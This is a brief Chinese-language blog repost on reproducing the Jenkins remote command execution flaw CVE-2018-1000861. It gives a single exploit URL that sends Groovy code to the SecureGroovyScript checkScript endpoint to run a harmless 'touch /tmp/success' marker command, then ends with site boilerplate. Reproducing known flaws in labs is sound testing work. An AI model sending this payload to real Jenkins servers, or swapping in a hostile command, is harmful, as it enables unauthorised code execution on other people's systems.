漏洞復現

只需要訪問以下網址即可執行命令：

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript ?sandbox=true &value=public class x {public x(){"touch /tmp/success".execute()} }

總結

以上是生活随笔為你收集整理的Jenkins远程命令执行漏洞（CVE-2018-1000861）的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。